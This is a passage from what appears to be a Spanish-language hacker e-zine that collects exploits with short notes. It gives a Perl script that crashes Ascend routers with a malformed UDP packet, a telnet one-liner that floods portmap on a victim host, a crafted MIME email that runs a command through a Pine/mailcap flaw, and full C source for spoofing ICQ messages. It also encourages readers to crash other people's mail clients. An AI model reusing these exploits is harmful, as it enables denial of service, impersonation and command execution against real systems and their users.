# Thanks to Secure Networks.  See SNI-26: Ascend Router Security Issues
# (http://www.secnet.com/sni-advisories/sni-26.ascendrouter.advisory.html)
#
#  NOTE: This program is NOT to be used for malicous purposes.  This is
#        intenteded for educational purposes only.  By using this program
#        you agree to use this for lawfull purposes ONLY.
#
#

use Socket;

require "getopts.pl";

sub AF_INET {2;}
sub SOCK_DGRAM {2;}

sub ascend_kill {
  $remotehost = shift(@_);
  chop($hostname = `hostname`);
  $port = 9;
  $SIG{'INT'} = 'dokill';
  $sockaddr = 'S n a4 x8';
  ($pname, $aliases, $proto) = getprotobyname('tcp');
  ($pname, $aliases, $port) = getservbyname($port, 'tcp')
  unless $port =~ /^\d+$/;
  ($pname, $aliases, $ptype, $len, $thisaddr) =
  gethostbyname($hostname);
  $this = pack($sockaddr, AF_INET, 0, $thisaddr);
  ($pname, $aliases, $ptype, $len, $thataddr) = gethostbyname($remotehost);
  $that = pack($sockaddr, AF_INET, $port, $thataddr);
  socket(S, &AF_INET, &SOCK_DGRAM, 0);
    $msg = pack("c64",
    0x00, 0x00, 0x07, 0xa2, 0x08, 0x12, 0xcc, 0xfd, 0xa4, 0x81, 0x00, 0x00,
    0x00, 0x00, 0x12, 0x34, 0x56, 0x78, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
    0xff, 0xff, 0x00, 0x4e, 0x41, 0x4d, 0x45, 0x4e, 0x41, 0x4d, 0x45, 0x4e,
    0x41, 0x4d, 0x45, 0x4e, 0x41, 0x4d, 0x45, 0xff, 0x50, 0x41, 0x53, 0x53,
    0x57, 0x4f, 0x52, 0x44, 0x50, 0x41, 0x53, 0x53, 0x57, 0x4f, 0x52, 0x44,
    0x50, 0x41, 0x53, 0x53);
  for ($i=0; $i<500; $i++) {
    $msg .= pack("c1", 0xff);
  }
  send(S,$msg,0,$that) || die "send:$!";
}

if ($ARGV[0] eq '') {
  print "usage: akill2.pl <remote_host>\n";
  exit;
}

&ascend_kill($ARGV[0]);
<-->

Descripcion y Notas:

Se trata de unos paquetes UDP que el router no maneja adecuadamente,
produciendo que este se resetee.

El hecho es que existe una herramienta para la configuracion de los routers
Ascend de una red. Esta herramienta, el Ascend Java Configurator, envia
un paquete UDP especialmente formateado al puerto 9 (discard). Entonces el
router responde enviando su nombre simbolico en otro paquete UDP.

Lo que pasa es que cualquiera puede hacerse pasar por un Ascend Java
Configurator, enviando un paquete UDP al puerto 9. Pero si este paquete
presenta un ligera anomalia, el Ascend se bloquea.

Hasta el momento se ha comprobado que son vulnerables los Ascend Pipelines
(Ahora si, coged SET 11 y leed el articulo de Infovia), y los Ascend MAX,
siempre y cuando la version de sus sitema operativo sea 5.0A y 5.0Ap42
respectivamente.

Teneis mas informacion sobre este bug en:

http://www.secnet.com/sni-advisories/sni-26.ascendrouter.advisory.html

Un parche temporal, pero efectivo, podria ser filtrar todos los paquetes
UDP enviados al puerto 9.


Para     : portmap 4.0
Tema     : Ligero bloqueo del sistema
Patch    : Uhmm! NPI
Creditos : Michal Zalewski

1.- telnet -E victima.com 111 < /dev/random

Descripcion y Notas:

Estamos ante un DoS del portmap 4.0 que produce una ralentizacion de ciertos
procesos en la maquina atacada.

Michal Zalewski comenta que este simple telnet es capaz de parar varios
minutos un 486 a 80 MHz bajo Linux 2.0, y a€ade la posibilidad de aumentar
el bloqueo enviando bytes de una forma mas inteligente.


Para     : Pine 3.96
Tema     : Ejecucion de comandos de forma arbitraria ;)
Patch    : Aun nada ;>
Creditos : Michal zalewski

Descripcion y Notas:

Pues resulta que existen versiones del mailcap, que en conjunto con el pine
en su version 3.96 permiten la ejecucion de codigo mediante la recepcion de
correo con extensiones MIME. Asi, este mensaje:

MIME-Version: 1.0
Content-Type: multipart/alternative;
        boundary="----=_NextPart_000_0007_01BD5F09.B6797740"

------=_NextPart_000_0007_01BD5F09.B6797740
Content-Type: default;
        encoding="\\\"x\\\"\ ==\ \\\"x\\\"\ \)\ touch\ \/tmp/BIG_HOLE"
Content-Transfer-Encoding: quoted-printable

Hellow!!!

------=_NextPart_000_0007_01BD5F09.B6797740--

ejecuta el comando touch /tmp/BIG_HOLE

Al parecer, es mas fallo de la implementacion del mailcap que del propio
pine.


Para     : ICQ
Tema     : Spoofing
Patch    : Para ICQ ?!?! ANDA YA!
Creditos : Seth McGann

<++> set_014/exploits/icqspoof.c
/* icqspoof.c -  This program sends a message to a given ICQ user and it
 * will appear to be from an arbitrary UIN. Loads of fun.
 *
 *  Notes:
 *  As many of you know icqflood.c has been distributed by enkil^ and irQ.
 *  They claim their program is all their own work.  Yet the "header" they
 * use contains MY UIN.  Strange, eh?
 * A simple, "Packet Dump that we based our exploit on provided by Seth
 * McGann" would have been enough.  Even though I didn't specifically
 * request credit it might have been nice to say something.  In the future
 * when you expand on someone's idea and work (yeah those traces didn't fall
 * out of the sky ya know) give credit where credit is due.
 *
 * Concept, Protocol Analysis and Coding: Seth McGann
 * Some functions dealing with socket scanning: icqflood.c by enkil^ and irQ
 * With help from my roomate (target practice)
 * And yes, this still works with ICQ 98. Coming soon: Chat and File Spoofing
 */

#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <string.h>

int main(argc, argv)
int argc;
char *argv[];
{
  struct sockaddr_in sin;
        int sock,i,x,y;
        unsigned long uin;
        int Port;

  char buffer[16];
  int connected = 1;
  typedef struct icq_prot {
  unsigned char magicNum[2];
  unsigned char UIN[4];
  unsigned char unknown[4];
  unsigned char unknown2[2];
  unsigned char length[2];
  unsigned char strng[256];
  } icq_prot;
  icq_prot sendMessage;
  unsigned long temp;
  unsigned char bigguy[1024];
  if (argc != 6) {
    fprintf(stderr,"Usage:  icqspoof ip SpoofedUIN message startport
endport\n";

    exit(1);
  }
  Port = ScanPort(argv[1],atoi(argv[4]),atoi(argv[5]));
  if (Port == -1) {
                printf("No ICQ Port Found =(\n");
                return;
  }

  sendMessage.magicNum[0]=0x2e;
  sendMessage.magicNum[1]=0x0;
  sendMessage.unknown[0]=0x04;
  sendMessage.unknown[1]=0x01;
  sendMessage.unknown[2]=0x0F;
  sendMessage.unknown[3]=0x0;
  sendMessage.unknown2[0]=0x01;
  sendMessage.unknown2[1]=0x0;
  temp=atol(argv[3]);
  sendMessage.UIN[0]=temp & 0xFF;
  sendMessage.UIN[1]=(temp >> 8) & 0xFF;
  sendMessage.UIN[2]=(temp >> 16) & 0xFF;
  sendMessage.UIN[3]=0;
  strncpy(sendMessage.strng,argv[4],256);
  sendMessage.length[0]=strlen(sendMessage.strng)+1;
  sendMessage.length[1]=0;

  if (!(sock = socket(AF_INET, SOCK_STREAM, 0))) {
                        printf("Error: Unable to creat socket, Exiting.\n");
                        exit(1);
                }
  sin.sin_family = AF_INET;
                sin.sin_addr.s_addr = inet_addr(argv[1]);
                sin.sin_port = htons(Port);

   if (connect(sock, (struct sockaddr*)&sin,sizeof(sin))==-1) {
                        printf("Error Connecting to Socket\n");
                        return;
   }



  x=20;
  bigguy[0]=sendMessage.magicNum[0];
  bigguy[1]=sendMessage.magicNum[1];
  bigguy[2]=sendMessage.UIN[0];
  bigguy[3]=sendMessage.UIN[1];
  bigguy[4]=sendMessage.UIN[2];
  bigguy[5]=sendMessage.UIN[3];
  bigguy[6]=0x02;
  bigguy[7]=0x00;
  bigguy[8]=0xEE;
  bigguy[9]=0x07;
  bigguy[10]=0x00;
  bigguy[11]=0x00;
  bigguy[12]=sendMessage.UIN[0];
  bigguy[13]=sendMessage.UIN[1];
  bigguy[14]=sendMessage.UIN[2];
  bigguy[15]=sendMessage.UIN[3];
  bigguy[16]=0x01;
  bigguy[17]=0x00;
  bigguy[18]=sendMessage.length[0];
  bigguy[19]=sendMessage.length[1];
  for(i=0;i<sendMessage.length[0];i++)
  bigguy[x++]=sendMessage.strng[i];
  bigguy[x++]=0x82;
  bigguy[x++]=0xD7;
  bigguy[x++]=0xF3;
  bigguy[x++]=0x20;
  bigguy[x++]=0x82;
  bigguy[x++]=0xD7;
  bigguy[x++]=0xF3;
  bigguy[x++]=0x20;
  bigguy[x++]=0x09;
  bigguy[x++]=0x04;
  bigguy[x++]=0x00;
  bigguy[x++]=0x00;
  bigguy[x++]=0x04;
  bigguy[x++]=0x00;
  bigguy[x++]=0x00;
  bigguy[x++]=0x10;
  bigguy[x++]=0x01;
  bigguy[x++]=0xEB;
  bigguy[x++]=0xFF;
  bigguy[x++]=0xFF;
  bigguy[x++]=0xFF;
  bigguy[x++]=0x02;
  bigguy[x++]=0x00;
  bigguy[x++]=0x0A;
  bigguy[x++]=0x09;
  bigguy[x++]=0x00;

  write(sock,bigguy,x-1);
  printf("Done!\n");
  close(sock);
  return 0;
}

int ScanPort(char *ipaddr, int StartIP, int EndIP) {
        struct sockaddr_in sin;
        int sock,x,y;
        unsigned long uin;
        unsigned long uin;
        printf("Scanning Ports");
        for (x=StartIP;x<=EndIP;++x) {
                if (!(sock = socket(AF_INET, SOCK_STREAM, 0))) {
                        printf("Error: Unable to connect\n");
                        return -1;
                }
                sin.sin_family = AF_INET;
                sin.sin_addr.s_addr = inet_addr(ipaddr);
                sin.sin_port = htons(x);

                if (connect(sock, (struct sockaddr*)&sin,sizeof(sin))!=-1) {
                        close(sock);
                        printf("Port %d Open! Spoofing...\n",x);
                        fflush(stdout);
                        return x;
                }
                printf(".");
                fflush(stdout);
        }
        printf("\n");
        return -1;
}
<-->

Descripcion y Notas:

Pues aprovechando las grandisimas medidas de seguridad del ICQ que comentamos
en SET 13, ni mas ni menos que un programa que te permite enviar un mensaje
a una persona con un determinado ICQ, haciendo que el UIN de origen sea
aleatorio.

Hala, a disfrutarlo.


Jo, que largo, eh?. Pues asi de propina y como estoy de buenas a€ado algo mas
a lo que el profe nos ha contado:

- Enviar mensajes con "attach" cuyo nombre supere los 230 caracteres
- Enviar mensajes cuyo tama€o sea negativo. (suena dificil pero es posible)
Si probais, pero NO conmigo, vereis como caen los Eudora, Netscape Mail,
OutLook, Pegasus....dejando la cuenta bloqueada hasta que la limpiemos
mediante Telnet. Investigad un poco y vereis como UN solo mensaje puede
dejar bloqueada una cuenta de correo y colgar el programa que lo recibe.